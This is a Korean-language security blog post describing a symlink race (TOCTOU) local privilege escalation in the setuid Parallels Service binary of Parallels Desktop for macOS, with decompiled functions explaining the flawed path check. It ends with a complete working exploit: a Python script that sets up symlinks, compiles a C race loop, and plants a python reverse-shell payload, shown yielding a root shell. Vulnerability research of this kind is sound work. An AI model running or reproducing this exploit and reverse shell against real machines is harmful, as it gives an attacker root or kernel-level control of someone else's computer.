Posts Parallels Host LPE 날먹하기
Post
Cancel

Parallels Host LPE 날먹하기

시간과 마음이 살짝 붕떠서 블로그나 관리하려고 찾아와서 쓰는 글이다.

작년 5월쯤 찾은 오래된 버그이지만, 버그를 찾을때 상황이 재밌었어서 기억에 많이 남는 버그이다.

뭐 특별한건 없고, 남자친구 훈련소 마중하려고 기다리면서 끄적거리다가 찾았다.

버그는 그냥 노트북에 아래 커맨드를 실행해보는것으로 시작되었다.

1
2
3
4
➜ find /Applications -perm -4000
...
/Applications/Parallels Desktop.app/Contents/MacOS/prl_update_helper
/Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service

그냥 setuid바이너리가 있나 하고 커맨드를 입력해봤는데, 있었다.(단순한 접근방법은 의외로 잘 먹힌다.)

이중 Parallels Service 를 분석해보았다.

이 친구는 parallels 에 필요한 서비스들과 kernel extension을 로드하는 역할을 하는 바이너리였다.

m1 mac의 경우에는 서비스들만 로드를 하고, x64 mac의 경우에는 kernel extension까지 로드를 한다. (따라서 취약점으로 x64에서는 kernel code execution까지 가능하다)

이 녀석이 서비스와 커널을 로드하는 방식은 간단하다. binary에 script가 텍스트로 박혀있고, binary상에서는 그냥 필요한 path정도만 찾아서 script에 인자로 넘겨주는 형태이다.(기억이 가물가물한데 그랬다.)

/Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service argv[1] 형태로 실행시키면 스크립트 argv를 이런식으로 넘겨준다.

./script.sh argv[1] Application_path

argv[1]에는 service_start, service_stop 과 같이 서비스 동작과 관련된 커맨드가 들어가고 Application_path 는 해당 바이너리에서 Application path(/Applications/Parallels Desktop.app/ 를 동적으로 찾아서 script.sh의 argv로 넘겨준다.

Application_path를 찾는 이유는 Parallels Service가 로드해야할 service binary(prl_naptd 등)와 kernel extension을 Applicaiton_path로 부터 상대경로로 찾아가기 떄문이다.

그렇다면 이 Application_path를 어떤식으로 Parallels Service 바이너리가 찾는지가 궁금하다. 이 path를 조작할 수 있다면, 내가 조작할 수 있는 경로에 있는 binary를 service로 생각하여 root권한으로 실행될 수 있음을 의미한다. (혹은 x64에서는 내 kernel extension파일을 로드시킬 수도 있다)

아래 코드가 Application_path를 찾는 함수이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 sub_100005BB0()
{
  ...

  bufsize[0] = 0;
  if ( _NSGetExecutablePath(0LL, bufsize) != -1 )
    return 0LL;
  v2 = (char *)malloc(bufsize[0]);
  if ( !v2 )
    return 0LL;
  v3 = v2;
  if ( _NSGetExecutablePath(v2, bufsize) )
    return 0LL;
  v4 = dirname(v3);
  if ( !v4 )
    return 0LL;
  v5 = v4;
  v6 = strlen(v4);
  v7 = (char *)calloc(1uLL, v6 + 7);
  if ( !v7 )
    return 0LL;
  v8 = v7;
  strcpy(v7, v5);
  strcpy(&v8[strlen(v5)], "/../..");
  v0 = realpath_DARWIN_EXTSN(v8, 0LL);
  free(v8);
  return v0;
}

NSGetExecutablePath라는 함수를 이용해서 경로를 찾아내는데, 해당 함수는 Mac에서 현재 실행된 바이너리의 경로를 가져올때 쓰인다.

즉 위 함수는 바이너리 위치가 /Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service 이기 때문에 바이너리의 path를 통해서 상대경로로 Application_path인 /Applications/Parallels Desktop.app 을 찾으려는 의도로 보여진다.

NSGetExecutablePath의 경우에는 apple의 문서에 따르면 Note that _NSGetExecutablePath() will return "a path" to the executable not a "real path" to the executable.

즉, symbolic link를 사용하면 실제 경로가 아니라 symbolic link의 경로를 가져오게 된다. 그래서 위의 함수는 symoblic link로 Application_path를 조작할 수 있다.

하지만 바이너리의 초반에 다음과 같은 함수가 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 sub_100006650()
{
...

  bufsize[0] = 0;
  if ( _NSGetExecutablePath(0LL, bufsize) == -1
    && (v2 = (char *)malloc(bufsize[0])) != 0LL
    && (v3 = v2, !_NSGetExecutablePath(v2, bufsize)) )
  {
    sympath = dirname(v3);
    free(v3);
    if ( sympath )
    {
      v5 = open("/Library/Preferences/Parallels/parallels-desktop.loc", 0);
      if ( v5 == -1 )
      {
        ...
      }
      else
      {
        v6 = v5;
        v0 = sub_100006470(v5, bufsize, 1024LL);
        close(v6);
        if ( v0 )
          return v0;
        if ( (unsigned int)snprintf(realpath, 0x400uLL, "%s/Contents/MacOS", (const char *)bufsize) < 0x400 )
          return (unsigned int)compare_100006590((__int64)sympath, (__int64)realpath);
          ...

}

역시 NSGetExecutablePath를 통해서 현재경로를 가져온 뒤에, /Library/Preferences/Parallels/parallels-desktop.loc파일에 저장되어있는 경로랑 비교를 해서 같지 않으면 종료시켜버린다. (이렇게 할거면 그냥 NSGetExecutablePath를 쓰지 않고 해당 파일의 경로를 그대로 쓰는게 낫지 않나 싶다.)

1
2
➜  parallels cat /Library/Preferences/Parallels/parallels-desktop.loc
/Applications/Parallels Desktop.app%

즉, symbolic link를 썼는지 검사하는 함수인 듯하다.

조심스럽게 추측해보자면, 위와 같이 symbolic link를 이용해서 lpe하는 취약점이 존재했었고 이 함수는 그 취약점에 대한 패치가 아니었나 싶다.

재밌는건 해당 함수(sub_100006650)와 위의 Applicaiton path를 가져오는 함수(sub_100005BB0)에서 각각 NSGetExecutablePath함수를 사용한다는 것이다.

여기서 symbolic링크로 TOC TOU를 생각해볼 수 있다.

sub_100006650 에서는 sym->/Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service

sub_100005BB0 에서는 sym->/tmp/xxxx

로 만든다면 위의 symbolic link check함수를 우회할 수 있다.

symbolic link를 바꿔줌으로써 race condition을 만들면 된다.

당시에 코드를 왜 이렇게 짰는지 모르겠는데, 급하게 코드짜서 훈련소를 갔어야 했던것 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
import os
import time
'''
➜  tmp nc -l 1234

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2# id
id
uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)

if x86_64 arch, it can be kernel code execution 
'''

try:
	os.makedirs("/tmp/d1/d2")
	os.symlink("/Applications/Parallels Desktop.app/Contents/MacOS/Parallels Service","/tmp/d1/d2/hello")
	os.makedirs("/tmp/Contents/MacOS")
except:
	pass
rev_shell=b"export RHOST=\"127.0.0.1\";export RPORT=1234;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")'"
open("/tmp/Contents/MacOS/prl_net_start",'wb').write(rev_shell)

race_code=b'''#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdio.h>
int main(){
	char *path="/tmp/d1/d2/dd";
	int err;
	while(1){
		// unlink(path);
		err=symlink("/Applications/Parallels Desktop.app/Contents/MacOS/",path);
		unlink(path);
		err = symlink("/tmp/d1/d2",path);
		unlink(path);		
	}
}'''

open("/tmp/race.c","wb").write(race_code)
os.system("gcc -o /tmp/race /tmp/race.c;/tmp/race &")
time.sleep(0.5)
while(1):
	os.system("/tmp/d1/d2/dd/hello service_start")

왜 이런 취약점이 2021년까지 있었는지는 모르겠지만,

취약점이 쉬운만큼 아직까지는 parallels의 보안이 강하지 않음을 느낀다. 훌륭한 맥용 hypervisor임은 틀림없지만 보안성에 대해서는 좀 더 신경쓸 필요가 있어보인다.

This post is licensed under CC BY 4.0 by the author.

유난히 빠르게 간듯한 2021년을 돌아보며

linux 최고의 샌드백은 bpf입니다, 부제 : bpf 1 bit oob to exploit

Comments powered by Disqus.